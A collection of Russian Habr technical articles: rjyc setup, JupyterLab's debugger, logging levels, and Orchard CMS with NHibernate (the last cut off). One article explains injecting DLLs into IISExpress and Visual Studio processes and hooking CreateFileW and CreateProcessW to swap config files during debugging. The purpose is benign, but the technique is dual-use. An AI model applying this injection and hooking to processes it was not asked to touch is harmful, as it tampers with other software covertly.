{Scala=http://scala-lang.org, Python=http://python.org, Java=http://java.net}
````
Проверим результат:
````
siasia@siasia ~ % wget http://localhost:8080 -O - 2>/dev/null
[Scala](http://scala-lang.org)
[Python](http://python.org)
[Java](http://java.net)
````
#### Maven
Подготовил Maven-артефакт, на случай если вы пользуетесь Maven.
1. Добавьте репозиторий в свой pom.xml:
````
Rjyc Repository
http://siasia.github.com/maven2
````
2. Добавьте зависимость от rjyc:
````
org.python
rjyc
1.0-SNAPSHOT
````
3. Импортируйте сервер в своём коде:
`import net.rjyc.Server;`
4. Запустите его как описано выше.
5. Скачайте клиент <http://github.com/siasia/rjyc/raw/master/client.py>
6. `python client.py [host] [port]`
7. PROFIT!!!
Надеюсь эта статья сделает ещё кого-то немного счастливее.
Форкайте меня на github <http://github.com/siasia>. | https://habr.com/ru/post/129064/ | null | ru | null |
# Изменение содержимого Web.config в runtime при отладке в Visual Studio и IISExpress
Технологически в этой статье ничего нового, просто еще одно полезное применение winapi-хуков для решения специфичной проблемы.
При работе с веб-проектами в Visual Studio существует одна неприятная мелочь — при использовании в процессе разработки нескольких бранчей, каждый из которых должен использовать свою копию окружения (например базу данных, или какие то внешние сервисы), возникает проблема с конфигурационными файлами в момент отладки — IISExpress использует только основной web.config в папке проекта, где обычно всякие connection strings содержат значения по умолчанию и где нет никаких специфичных для бранча настроек, и никаких трансформаций при запуске к нему не применяется. Можно конечно принудительно либо автоматически, либо вручную, применять трансформации к web.config, но во-первых измененный файл будет постоянно висеть в pending changes, что создает риск коммита нежелательных изменений, которые потом попадут в другие бранчи, а во-вторых это создает массу неудобств при его редактировании, поскольку перед коммитом каких-либо изменений в конфигурационном файле такие трансформации придется вручную убирать.
Рассмотрим как этого избежать.
Решение довольно простое — необходимо перехватывать чтение конфигурационного файла процессом IISExpress, и вместо исходного файла подсунуть другой, временный файл в котором внесены соответствующие исправления, и который не добавлен в Source Control. Список исправлений которые необходимо применить в зависимости от того из какой папки запускается проект можно указывать, к примеру, в простом xml файле.
Для этого понадобятся:
Фоновая утилита следящая за созданием новых процессов, 32 и 64-битные dll c хуками, 32 и 64-битные exe запускаемые фоновой утилитой и загружающие соответствующую dll с хуком в процесс соответствующей разрядности.
Фоновая утилита следит за процессами через WMI используя класс ManagementEventWatcher и запрос к \_\_InstanceOperationEvent с фильтрацией по типу объекта Win32\_Process и требуемым именам процессов. Получение события \_\_\_\_InstanceCreationEvent означает что был создан процесс, информацию о котором можно получить из EventArrivedEventArgs.NewEvent. В данном случае необходим только ProcessId.
```
processWatcher.Query.QueryString = @"SELECT * FROM __InstanceOperationEvent WITHIN 1" +
"WHERE TargetInstance ISA 'Win32_Process' AND (" +
string.Join(" OR ", processNames.Select(x => "TargetInstance.Name = '" + x + ".exe'")) + ")";
processWatcher.EventArrived += (sender, e) =>
{
if (e.NewEvent.ClassPath.ClassName == "__InstanceCreationEvent")
{
var processId = (uint)((ManagementBaseObject)e.NewEvent["TargetInstance"])
.Properties["ProcessId"].Value;
// ... Do smth useful
}
};
```
Алгоритм загрузки dll в чужой процесс стандартный — в чужом процессе через VirtualAllocEx выделяется память под путь к dll и создается поток путем передачи адреса LoadLibrary в CreateRemoteThread. Если код инициализации хуков находится в DllMain, то никаких дополнительных действий не понадобится. Но фоновая утилита самостоятельно внедрять dll и в 32 и в 64-битные процессы одновременно не сможет. Теоретически конечно вызов CreateRemoteThread из 64-битного процесса может создать поток в 32-битном процессе, но в данном случае в качестве функции для потока используется LoadLibrary. А максимально простым способом через GetProcAddress можно получить ее адрес только для той же разрядности что и текущий процесс. У kernel32.dll fixed base address, поэтому для разных процессов одной разрядности адрес функции совпадает. В теории конечно можно бы было вручную разбирать PE-заголовки и не использовать дополнительные процесы для внедрения, но это сложнее.
Перехватывать надо конечно же функцию CreateFileW. Сначала я весь код написал полностью на C#, но на практике с перехватом некоторых слишком фундаментальных функций вроде этой возникают ошибки с loader lock и им подобные, когда managed код вызывается, например, из DllMain каких-либо сторонних библиотек подгружаемых процессом. Поэтому пришлось установку хуков и фильтрацию вызовов требующих обработки вынести в native dll на C, которая в свою очередь загружает managed dll и вызывает managed код оттуда только когда CreateFileW вызывается для .config файлов. Для установки хуков я использовал проверенную временем стороннюю библиотеку [MinHook](https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra), про нее в интернете много информации и останавливаться на ее описании не буду. Возможно, у кого то возникнет вопрос — 'а не проще ли было все полностью сделать на C и не создавать кучу .net сборок', возможно да, но это скучно.
Логика фильтрации должна проверять что файл существует, является файлом а не директорией, содержит в имени web.config, не расположен в папке windows\microsoft.net\… (системные конфиги нас не интересуют). Если все эти условия выполняются то передаем HANDLE, полученный от вызова исходной системной функции CreateFileW перехватчиком, а также все параметры CreateFileW в managed обработчик, который по этому HANDLE прочтет содержимое. Для простоты лучше использовать оригинальный HANDLE чтобы не делать защиту от рекурсии, к которой приведет чтение того же самого файла каким-нибудь File.ReadAllText, поскольку сработает этот же хук. Далее, в полученном содержимом заменяются все необходимые строки и измененное содержимое записывается во временный файл у которого имя не соответствует вышеописанным критериям фильтрации (опять же чтобы не попасть в рекурсию). Вызываем CreateFileW для этого временного файла с теми же параметрами с которыми был открыт web.config и полученный HANDLE возвращаем из перехватчика CreateFileW. Исходный HANDLE уже не нужен и его следует закрыть.
**Хук**
```
HANDLE WINAPI _CreateFileW(
LPCWSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile)
{
DWORD attributes = GetFileAttributesW(lpFileName);
HANDLE result = CreateFileWOriginal(lpFileName,
dwDesiredAccess,
dwShareMode,
lpSecurityAttributes,
dwCreationDisposition,
dwFlagsAndAttributes,
hTemplateFile);
HANDLE newFile = NULL;
if (attributes != INVALID_FILE_ATTRIBUTES &&
(attributes & FILE_ATTRIBUTE_DIRECTORY) == 0 &&
(StrStrI(lpFileName, L"web.config") != NULL || StrStrI(lpFileName, L"app.config") != NULL) &&
StrStrI(lpFileName, L"Windows") == NULL)
{
fileHandler(result, &newFile, dwDesiredAccess, dwShareMode, lpSecurityAttributes,
dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
}
if (newFile != NULL)
{
CloseHandle(result);
result = newFile;
}
return result;
}
```
**Managed обработчик**
```
public static void GetUpdatedConfigF(IntPtr handle, IntPtr newHandleAddress,
uint access, uint share, IntPtr securityAttributes, uint creationDisposition,
uint flagsAndAttributes, IntPtr templateFile)
{
try
{
if (config == null)
return;
var path = new StringBuilder(260);
if (GetFinalPathNameByHandle(handle, path, (uint)path.Capacity, 0) == 0)
return;
var matchedSection = config.FirstOrDefault(x =>
path.ToString().IndexOf(x.Branch, StringComparison.OrdinalIgnoreCase) >= 0);
if (matchedSection == null)
return;
var size = GetFileSize(handle, IntPtr.Zero);
if (size == 0)
return;
var buffer = new byte[size];
uint bytesRead;
if (!ReadFile(handle, buffer, (uint)buffer.Length, out bytesRead, IntPtr.Zero))
return;
var content = Encoding.UTF8.GetString(buffer);
foreach (var replacement in matchedSection.Replacements)
content = content.Replace(replacement.Find, replacement.ReplaceWith);
var tempFile = Path.GetTempFileName();
MoveFileEx(tempFile, null, 4);
File.WriteAllText(tempFile, content);
var newHandle = CreateFileW(tempFile, access, share, securityAttributes,
creationDisposition, flagsAndAttributes, templateFile);
Marshal.WriteIntPtr(newHandleAddress, newHandle);
}
catch
{
}
}
```
Native dll с хуком вызывает обработчик из managed dll через LoadLibrary и GetProcAddress. Для этого необходимо экспортировать статический метод как обычную dll функцию. Это делается немного шаманским способом через дизассемблирование ildasm-ом, добавление специальных опций к методу в il-коде и ассемблирование обратно в dll. Об этом тоже в интернете много статей, повторяться не буду, их легко найти поискав например ".vtentry". В исходном коде присутствует простейшая утилита обрабатывающая таким образом сборки.
Помимо IISExpress схожая проблема актуальна и для wcf-сервисов запускаемых через wcfsvchost. Правда в этом случае применение трансформаций работает нормально, но чтобы все было единообразно и чтобы не клонировать лишних файлов с трансформациями и не переключать ничего в Configuration Manager-е, рассмотрим и этот случай. Здесь есть некоторые отличия — wcfsvchost читает конфигурацию сразу при старте процесса, а WMI событие приходит слишком поздно, и хук устанавливается позже чем надо. Но путь к файлу конфигурации передается через командную строку, поэтому внедряться следует в parent-процесс и перехватывать CreateProcessW.
Parent-процесс в данном случае devenv.exe, т.е. Visual Studio. В этом случае, перед тем как вызвать исходную системную функцию CreateProcessW, в managed обработчик передаем строку параметров с которыми создается процесс и адрес массива куда запишется исправленная строка. В обработчике строка разбивается на параметры путем вызова CommandLineToArgvW, далее среди них определяется путь к файлу конфигурации, а затем аналогично создается временный файл с исправленным содержимым и путь в параметрах подменяется на него.
**Хук**
```
BOOL WINAPI _CreateProcessW(LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation)
{
BOOL result;
LPWSTR buffer = NULL;
if (lpCommandLine != NULL && StrStrI(lpCommandLine, L".config") != NULL)
{
buffer = (LPWSTR)malloc(BUFFER_SIZE);
memset(buffer, 0, BUFFER_SIZE);
processHandler(lpCommandLine, buffer);
lpCommandLine = buffer;
}
result = CreateProcessWOriginal(lpApplicationName, lpCommandLine,
lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
if (buffer != NULL)
free(buffer);
return result;
}
```
**Managed обработчик**
```
public static void GetUpdatedConfigP(IntPtr commandLine, IntPtr newCommandLine)
{
var commandLineText = Marshal.PtrToStringUni(commandLine);
try
{
int numArgs;
var argArray = CommandLineToArgvW(commandLineText, out numArgs);
if (argArray != IntPtr.Zero)
{
var pointerArray = new IntPtr[numArgs];
Marshal.Copy(argArray, pointerArray, 0, numArgs);
var arguments = pointerArray.Select(x => Marshal.PtrToStringUni(x)).ToArray();
var configFile = arguments.FirstOrDefault(x =>
x.EndsWith(".config", StringComparison.OrdinalIgnoreCase));
var matchedSection = config.FirstOrDefault(x => configFile.ToString()
.IndexOf(x.Branch, StringComparison.OrdinalIgnoreCase) >= 0);
if (matchedSection != null && configFile != null &&
configFile.StartsWith("/config:", StringComparison.OrdinalIgnoreCase) &&
commandLineText.IndexOf("wcfsvchost", StringComparison.OrdinalIgnoreCase) >= 0)
{
configFile = configFile.Substring("/config:".Length);
var content = File.ReadAllText(configFile);
foreach (var replacement in matchedSection.Replacements)
content = content.Replace(replacement.Find, replacement.ReplaceWith);
var tempFile = Path.GetTempFileName();
MoveFileEx(tempFile, null, 4);
File.WriteAllText(tempFile, content);
commandLineText = commandLineText.Replace(configFile, tempFile);
}
}
}
catch
{
}
Marshal.Copy(commandLineText.ToCharArray(), 0, newCommandLine, commandLineText.Length);
}
```
→ [Код к статье (перфекционистов просьба не возмущаться — это минимально рабочий вариант сделанный наспех, без обработки ошибок и со многими допущениями)](https://github.com/HermanKirshin/IISExpressConfigHook) | https://habr.com/ru/post/321768/ | null | ru | null |
# Trace, Info, Warning, Error, Fatal — кто все эти люди..?
Обычно библиотеки логгирования предлагают из коробки сразу несколько "уровней" важности, с которыми Вы можете записывать сообщения. В документации к ним можно найти рекомендации - как лучше этими уровнями пользоваться, примерно такие:
`Info`: все ожидаемые события, учет которых запланирован.
`Warning`: неожиданные/подозрительные события - иначе говоря аномалии, после которых еще возможно продолжение работы приложения.
`Error`: событие, после которого невозможно дальнейшее выполнение программы.
`Fatal`: событие, требующее по-настоящему немедленного вмешательства.
Проблема в том, что это все не совсем работает без некоторых дополнительных соглашений и уточнений. Именно о них я и хотел бы поговорить ниже.
"Продолжить работу"
-------------------
Трактовать “возможно продолжить работу” можно очень по разному. Скажем, на экране пользователя можно настроить любимый цвет рамки вокруг экрана: пусть будет розовый. Если по каким-то причинам хранилище, где мы держим эти настройки цвета было недоступно и мы не можем отобразить этот цвет - можно ли это считать как “возможно продолжить” или это катастрофа? К сожалению, я еще ни разу не встречал хорошего универсального формального критерия, чтобы четко можно было разделять "катастрофа-терпимо". А раз не можешь остановить - значит нужно направить. Потому я предлагаю инвертировать споры об “это неправильный уровень”: если в коде написано, что отсутствие цвета - это `Error` - значит программист Вам говорит, что этот цвет чертовски важен в этом домене - возможно, именно этот цвет сигнализирует, что сейчас надо продавать акции на миллионы долларов, и наоборот. Соответственно, чтение кода немного меняется: когда видите место, где из-за какой-то на Ваш взгляд ерунды прерывается выполнение, вопрос, который должен возникать автору, “Почему ты считаешь, что это так важно?” вместо “Истинно тебе говорю - ты программируешь неправильно!”.
Схожая инверсия может помочь в вечных спорах на тему “это исключительная ситуация или нет”. Опять же, все довольно просто. Важна не техническая составляющая: “нет соединения к базе - это исключение”, а “серверу прислали неправильный `id` - так это ожидаемо”. Важно то, *чья это будет головная боль* и как ее можно избежать или хотя бы минимизировать урон. Чьи планы на вечер пятницы пойдут к черту из-за того, что это сломалось? Если Вашим сервисом пользуются приложения, которые вне Вашего контроля, то Вам действительно плевать на то, что они присылают некорректные `id` и у них там что-то идет не так. Если Ваше приложение - это инструмент для управления базой данный - наподобие Sql Server Magement Studio - очевидно, что отсутствие доступа к базе - не Ваша печаль. А если Вашим сервисом пользуются приложения, за которые Вы же и в ответе - то это Ваши неприятности в конечном счете. Вопрос лишь в том, как и когда Вы об этом узнаете - быстро из сработавшей сигнализации или от звонка злого как черт владельца бизнеса, которому Вы пишете софт. А также вопрос в том, как “дешево, надежно и сердито” эту сигнализацию наладить.
"Error"
-------
Давайте представим себе экран, где есть кнопка “Открыть” и текстовое поле. Эта кнопка по замыслу должна открыть Вам какой-то полезный функционал, а в текстовом поле предполагается ввести имя и фамилию. После нажатия на кнопку принципиально возможны два сценария: приложение либо крэшится либо нет. Если же мы были удачливы и оно не упало, у нас опять два варианта: мы получили желанный экран или мы получили сообщение об ошибке вместо него. Сообщение об ошибке в свою очередь можно принципиально разделить еще на два класса: может ли пользователь сам исправить ситуацию в рамках программы или нет - имеется ввиду корректирование своего ввода, а не “обратиться к Вашему системному администратору”.
Жаль, что нет комикса о том, как программист ловит льва в пустыне - он здесь был бы очень уместенНа практике сообщение вида “Обратитесь к администратору” это просто подслащенные крэш. Да, несомненно это лучше, чем убить весь процесс со всеми пользовательскими данными, но от этого оно не перестает фактически блокировать работу. В тоже время ошибка может быть сообщением о неправильных с точки зрения программы действиях, а именно надо было ввести имя и фамилию “Джон Иванов”, а человек ввел просто “Джон” и валидатору это не нравится. К чему это все? Что вообще у нас тут речь идет о 3-х достаточно разных сущностях, но при том на каждую из них можно сослаться как *Error*, что вызывает изрядную путаницу. Крэш приложения - это несомненно уровень `Error` в нашей системе определений, но это очень *важный* `Error`.
Ошибка валидации имя-фамилии - это несомненно уровень `Info` - мы ждем, что пользователь будет норовить записать все что угодно, а мы - пресекать это. Ну и записывать все те разы, когда пользователь был неправ. Но от этого ошибки не перестают бесить людей, которые их видят. То, что напрямую связано с людьми и их UX - важно; и неплохо бы присматривать за этим, не допускать, чтобы сообщения об этом тонули в километрах унылых `Info` записей “Пользователь такой-то залогинился”. Иными словами, чтобы устранить путаницу, хочется иметь уровни `Error+` и `Info+`.
Я предвижу восклицания “Так погодите, ведь крэш приложения - это недопустимо! Надо сразу действовать! Это `Fatal` уровень!" На это я неспеша прикурю воображаемую сигарету, затянусь и задумчиво отвечу: “Ну… всех ведь все равно не спасти...". Ладно, я не курю, но, думаю, образ понятен. Появление сообщения `Fatal` должно быть эквивалентом запуска тревоги воздушной угрозы, когда в офисе разработки врубается сирена и это жуткое красное аварийное освещение. Вот честно, Вы именно так реагируете на то, что у кого-то из бухгалтерии на экране, который раз в сто лет запускают, упало приложение? Вполне может быть нормально, что у Вас сейчас даже и *нет* подобной ситуации, где уровень `Fatal` - согласно такой системы определений - нужен. Так вот трюк в том, чтобы не блокировать возможность добавить обработку такой потенциальной ситуации в будущем, забивая сейчас `Fatal` уровень сообщениями, которым важность`Error+` в самый раз.
Таким образом, мы приходим к тому, что в действительности неплохо бы иметь уровни вида
`Info
Info+
Warning
Error
Error+
Fatal`
“Плюсовые” уровни можно легко организовать в Вашей любимой библиотеке логгирования расширив ее существующие методы `Error/Info`, которые бы просто унифицировано добавляли какой-то хэштэг в обычные сообщения, скажем `#IMPORTANT.`
Что ж - это все, что я хотел сказать об ошибках и их логгировании. Буду рад, если этот текст добавит разработчикам больше взаимопонимания и уменьшит споры о том, как "правильно". | https://habr.com/ru/post/543666/ | null | ru | null |
# Визуальный отладчик для Jupyter
Прогресс большинства программных проектов строится на малых изменениях, которые, перед тем, как двигаться дальше, тщательно оценивают. Быстрое получение результатов выполнения кода и высокая скорость итеративной разработки — это одни из основных причин успеха Jupyter. В особенности — в сфере научных исследований.
Пользователи Jupyter любят проводить в блокнотах эксперименты, они используют блокноты как интерактивное средство коммуникации. Правда, если говорить о задачах классической разработки ПО, например, о рефакторинге большой кодовой базы, то можно сказать, что для решения таких задач Jupyter часто меняют на обычные IDE.
[](https://habr.com/ru/company/ruvds/blog/500422/)
*Окружение JupyterLab*
Проект Jupyter уже несколько лет прилагает усилия к тому, чтобы закрыть разрыв между блокнотами и обычными IDE. Эти усилия, в значительной мере, представлены платформой JupyterLab, которая даёт разработчику более совершенный и удобный интерфейс, в который входят менеджер файлов, текстовые редакторы, консоли, блокноты.
Правда, до недавнего времени в JupyterLab кое-чего не хватало. Речь идёт о том, что являло собой главную причину, по которой пользователи вынуждены были переключаться на другие среды. Пользователям Jupyter не хватало визуального отладчика. Пользователи, особенно те из них, которые привыкли к обычным IDE, долго просили об этой возможности.
Отладчик для Jupyter
--------------------
Сегодня, после нескольких месяцев разработки, мы рады представить вашему вниманию первый публичный релиз визуального отладчика для Jupyter!
Это — лишь первый релиз, но отладчик уже позволяет устанавливать в ячейках блокнотов и в файлах с исходным кодом точки останова. Он позволяет исследовать содержимое переменных, просматривать стек вызовов. И этим его возможности не ограничиваются.
*Визуальный отладчик Jupyter в действии*
Испытание отладчика на сайте проекта binder
-------------------------------------------
*Проект binder*
Попробовать новый отладчик в деле можно на сайте проекта binder. [Вот](https://mybinder.org/v2/gh/jupyterlab/debugger/stable?urlpath=/lab/tree/examples/index.ipynb) демонстрационный блокнот, с которым вы можете поэкспериментировать.
Установка
---------
Фронтенд отладчика можно установить в виде расширения JupyterLab:
```
jupyter labextension install @jupyterlab/debugger
```
В будущих релизах фронтенд отладчика будет включён в состав JupyterLab по умолчанию.
На бэкенде, для обеспечения работы отладчика, должно присутствовать ядро, в котором реализован Jupyter Debug Protocol (подробнее о нём мы поговорим ниже). Пока единственное ядро, в котором реализован данный протокол, это — [xeus-python](https://github.com/jupyter-xeus/xeus-python). Оно представляет собой Jupyter-ядро для языка программирования Python. (В планах развития проекта есть и поддержка протокола отладчика в ipykernel.)
Установить ядро xeus-python можно так:
```
conda install xeus-python -c conda-forge
```
После того, как xeus-python и расширение отладчика установлены, всё должно быть готово к работе с визуальным отладчиком Jupyter.
Обратите внимание на то, что существуют и PyPI-«колёса» для xeus-python, но ни всё ещё носят статус экспериментальных, а их доступность зависит от платформы.
Подробности о Jupyter Debug Protocol
------------------------------------
### ▍Новые типы сообщений для каналов Control и IOPub
Ядра Jupyter (та часть инфраструктуры, которая выполняет пользовательский код) общаются с другими частями системы с использованием чётко разработанного [протокола](https://jupyter-client.readthedocs.io/en/stable/messaging.html) межпроцессного взаимодействия.
Существуют несколько коммуникационных каналов:
* Канал `Shell`, который работает по схеме запрос/ответ и используется, например, для запросов на выполнение кода.
* Канал `IOPub`, который представляет собой односторонний канал связи, идущий от ядра к клиенту. Он используется, например, для перенаправления стандартных потоков вывода (`stdout` и `stderr`).
* Канал `Control`, похожий на канал `Shell`, но работающий на другом сокете. Благодаря этому его сообщения не ставятся в очередь вместе запросами на выполнение кода и имеют более высокий приоритет. Канал `Control` уже использовался для запросов `Interrupt` и `Shutdown`. Мы решили, что будем использовать его и для команд, отправляемых отладчику.
В протокол добавлены два новых типа сообщений:
* Сообщения [debug\_[request/reply]](https://jupyter-client.readthedocs.io/en/latest/messaging.html#debug-request), которые используются для запроса выполнения отладчиком некоего действия. Например — это добавление в код точки останова или пошаговое выполнение кода. Такие сообщения отправляются в канал `Control`.
* Односторонние сообщения [debug\_event](https://jupyter-client.readthedocs.io/en/latest/messaging.html#debug-event), которые используются отладочным ядром для отправки сведений о событиях отладки фронтенду. Такие сообщения отправляются через канал `IOPub`.
### ▍Расширение Debug Adapter Protocol
Ключевой принцип архитектуры Jupyter — это отсутствие привязки к некоему языку программирования. Поэтому важно, чтобы протокол отладчика поддерживал бы адаптацию к различным реализациям ядер.
Популярным стандартом в сфере отладки является протокол Debug Adapter Protocol (DAP), разработанный Microsoft. Это — протокол, основанный на JSON, который, например, лежит в основе подсистемы отладки Visual Studio Code. Этот протокол поддерживает множество бэкендов, рассчитанных на различные языки.
В результате для нас было совершенно естественным использование DAP-сообщений посредством недавно добавленных сообщений `debug_[request/reply]` и `debug_event`.
Правда, в случае с Jupyter этого оказалось не вполне достаточно:
* Для поддержки перезагрузки страницы, или для случаев, когда клиент подключается в процессе работы, ядра Jupyter должны хранить состояние отладчика (точки останова, сведения о том, остановлен ли в данный момент отладчик). Фронтенд может запрашивать это состояние с помощью сообщения `debug_request`.
* Для поддержки отладки кода, находящегося в ячейках блокнота, и для поддержки консолей Jupyter, которые не основаны на файлах с исходным кодом, нам, кроме того, нужны были сообщения, позволяющие отправлять отладчику код, в который могут быть добавлены точки останова.
Содержание запросов к отладчику и его ответов, помимо этих двух отличий, соответствует DAP.
Все эти расширения протокола ядра Jupyter были предложены в качестве кандидатов на включение в официальную спецификацию. Соответствующее предложение по развитию Jupyter (Jupyter Enhancement Proposal, JEP) можно найти [здесь](https://github.com/jupyter/enhancement-proposals/pull/47).
Xeus-python — первое ядро Jupyter, поддерживающее отладку
---------------------------------------------------------
[Xeus](https://github.com/QuantStack/xeus) — это С++-реализация протокола ядра Jupyter. Это, само по себе, не ядро. Это — библиотека, которая помогает разрабатывать ядра. Эта библиотека полезна при разработке ядер для языков, которые имеют C- или C++-API (вроде Python, Lua или SQL). Она берёт на себя решение трудоёмких задач по реализации [протокола](https://jupyter-client.readthedocs.io/en/stable/messaging.html) обмена сообщениями Jupyter. Это позволяет автору ядра сосредоточиться на задачах, связанных с интерпретацией языковых конструкций: на выполнении кода, на его анализе и так далее.
С использованием xeus было разработано несколько ядер, включая популярное ядро [xeus-cling](https://github.com/jupyter-xeus/xeus-cling) для C++, основанное на C++-интерпретаторе cling, созданном в CERN. Ядро [xeus-python](https://github.com/jupyter-xeus/xeus-python.git) — это альтернатива ipykernel, основанная на xeus. [Вот](https://blog.jupyter.org/a-new-python-kernel-for-jupyter-fcdf211e30a8) материал о первом релизе ядра xeus-python.
Ядро xeus-python подошло для первой реализации протокола отладчика по нескольким причинам:
* Оно поддерживает конкурентное выполнение кода, что позволяет выполнять работу с каналом `Control` в отдельном потоке.
* Оно отличается компактной кодовой базой. Благодаря этому данное ядро является хорошей «песочницей», в которой удобно реализовывать что-то новое. Реализация первой версии протокола отладчика в ipykernel потребовала бы более серьёзного рефакторинга и больших усилий по согласованию изменений на ранних стадиях разработки.
### ▍План развития ядра xeus-python
Среди краткосрочных целей развития xeus-python можно отметить следующие:
* Добавление поддержки возможностей IPython. Сейчас это, в сравнении с ipykernel, является основной отсутствующей возможностью xeus-python.
* Улучшение PyPI-«колёс» xeus-python.
### ▍О других ядрах
То, что уже сделано в плане поддержки отладки во фронтенде, может быть использовано с любыми ядрами, реализующими расширенный протокол ядра.
В этом году мы будем работать над тем, чтобы обеспечить поддержку отладки в как можно большем количестве ядер.
Скоро поддержка отладки появится для других ядер, основанных на xeus, имеющих много общего с ядром xeus-python. Например, для таких, как xeus-cling.
Подробности об архитектуре фронтенда отладчика
----------------------------------------------
[Расширение](https://github.com/jupyterlab/debugger) отладчика для JupyterLab даёт пользователям механизмы, наличия которых обычно ожидают от IDE:
* Боковая панель с окнами, реализующими следующие возможности: наблюдение за переменными, просмотр точек останова, просмотр кода, анализ стека вызовов.
* Возможность устанавливать точки останова прямо в коде, в частности — в коде, находящемся в ячейках блокнота и в консолях.
* Визуальные маркеры, указывающие позицию, в которой остановилось выполнение кода.
При работе с блокнотами Jupyter сведения о состоянии выполнения кода хранятся в ядре. Но код ячейки может быть выполнен, после чего эта ячейка может быть удалена из блокнота. Что должно произойти в том случае, если пользователю, в ходе отладки, захочется войти в удалённый блок кода?
Расширение поддерживает этот специфический сценарий и умеет выводить код ранее выполненной ячейки в режиме только для чтения.
*Переход в код, находящийся в удалённой ячейке*
Отлаживать можно и код, находящийся в консолях и в файлах.
*Отладка кода из консоли в JupyterLab*
*Отладка в JupyterLab кода, находящегося в файле*
Отладку можно включить на уровне блокнота, что позволят пользователям отлаживать блокнот и, в то же время, работать с другим блокнотом.
*Одновременная отладка нескольких блокнотов*
Переменные можно просматривать, пользуясь древовидным или табличным представлением.
*Средства для исследования переменных*
Расширение отладчика для JupyterLab было спроектировано так, чтобы оно могло бы работать с любым ядром, которое поддерживает отладку.
Благодаря тому, что расширение полагается на протокол DAP, оно абстрагирует особенности различных языков и даёт пользователю единообразный интерфейс отладки.
На следующей диаграмме показан поток сообщений, передаваемых в ходе сессии отладки между пользователем, расширением JupyterLab и ядром.
*Использование Debug Adapter Protocol в отладчике (*[*источник*](https://github.com/jupyterlab/debugger/issues/64)*)*
Планы на будущее
----------------
В 2020 году мы планируем серьёзно улучшить отладчик. А именно, речь идёт о следующем:
* Поддержка вывода различных MIME-типов в окне исследования переменных.
* Поддержка работы с условными точками останова в интерфейсе отладчика.
* Повышение удобства работы с интерфейсом отладчика.
* Реализация возможности отладки [Voilà-приложений](https://github.com/voila-dashboards/voila/) из расширения `@jupyter-voila/jupyterlab-preview`.
**Уважаемые читатели!** А вы уже пробовали визуальный отладчик Jupyter?
[](https://ruvds.com/ru-rub/?utm_source=habr&utm_medium=perevod&utm_campaign=projectjupyter-otladchikjupyter#order) | https://habr.com/ru/post/500422/ | null | ru | null |
# Использование возможностей NHibernate в Orchard.CMS
Orchard.CMS одна из популярных свободных open source систем управления веб контентом на базе .NET. В качестве ORM для доступа к данным используется NHibernate. Более детальную информацию можно найти на [официальном сайте проекта](http://docs.orchardproject.net/), к тому же на Хабре уже были статьи посвященные Orchard.CMS.
Orchard CMS используется свой способ создания схемы данных посредством Migration и SchemeBuilder. Для доступа к сессии NHiberanate (ISession) и транзакциям используется специализированные интерфейсы, инкапсулирующие эти объекты внутри (ISessionHolder и ITransactionManager). Организованы собственные интерфейсы репозиториев (IRepository), реализации которых работают поверх NHibernate Linq Query.
Orchard не предусматривает прямого доступа к NHibernate по умолчанию. Ниже будут рассмотрены особенности построения и использования доменной модели на базе Orchard CMS, а также способ использования NHibernate напрямую из своего модуля.
Если бизнес уровень инкапсулирован отдельно, и Orchard.CMS обращается к сущностям по средствам веб-сервисов, проблема построения доменной модели не возникает. Это относиться к крупным проектам. Исследования в данной статье будут справедливы для проектов, в которых изначально планируется использовать общую базу и для Orchard CMS, и для сущностей бизнес логики.
**Доменная модель на базе Orchard.CMS (ContentTypeDefinition)**
Рассмотрим модель BlogPost в базовом модуле Блога в Orchard.CMS. (Исходный код проекта можно найти на официальном сайте). Модель типа BlogPost блога:
* BlogPost – тип контента (BlogPost — ContentTypeDefinition). Он состоит из следующих частей:
+ BlogPostPart – контентная часть отвечающая за описание блога.
+ CommonPart – стандартная контентная часть, инкапсулирует информацию об авторе и версии.
+ PublishLaterPart – контентная часть для реализации черновиков.
+ TitlePart – титульная часть.
+ AutoroutPart – красивые URL.
+ BodyPart – собственно тело записи блога.
В модуле блога реализован widget позволяющий вывести последние N записей блога. Посмотрим на SQL запрос, который формируются для получения этого списка. Для этого воспользуемся NHProfiler и подключим модуль SoNerdy.NHProf в Orchard.CMS. (Одна из рекомендаций при разработке на Orchard.CMS – это использование NHibernate Profiler [www.hibernatingrhinos.com/products/nhprof](http://www.hibernatingrhinos.com/products/nhprof). Данная утилита незаменима в анализе и оптимизации сайта.)
Запрос, выбирающий N записей блогов, выглядит следующим образом. Join полей дополнительных контентных частей были специально удалены, чтобы сосредоточиться на базовых частях.
```
SELECT top 12 ...
FROM v1__Orchard_Framework_ContentItemVersionRecord this_
inner join v1__Orchard_Framework_ContentItemRecord contentite1_
on this_.ContentItemRecord_id = contentite1_.Id
inner join v1__Common_CommonPartRecord commonpart3_
on contentite1_.Id = commonpart3_.Id
inner join v1__Orchard_Framework_ContentTypeRecord contenttyp2_
on contentite1_.ContentType_id = contenttyp2_.Id
WHERE contenttyp2_.Name in ('BlogPost' /* @p0 */)
and commonpart3_.Container_id = 22 /* @p1 */
and this_.Published = 1 /* @p2 */
ORDER BY commonpart3_.CreatedUtc desc
```
Краткий анализ запроса:
* Для получения только базовой информации контентного типа необходимо как минимум три Inner Join.
* Базовая структура всех определенных в Orchard.CMS контентных типах содержится в таблицах: ContentItemVersionRecord, ContentItemRecord и ContentTypeRecord
Результатом реализации доменной модели приложения в рамках контентных типов Orchard.CMS будет следующее:
* Все сущности будут иметь данные в одних и тех же таблицах. К примеру, для e-commerce, Id продуктов, заказов, клиентов будут храниться в одних и тех же таблицах.
* Даже небольшие запросы будут выбирать всю информацию о контентной части. К примеру, если необходимо получить название производителя для отображения под продуктом в списке. В рамках реализации Orchard будут выбраны все данные из контентной части. В противном случае теряется смысл использования техники динамического представления (Shape).
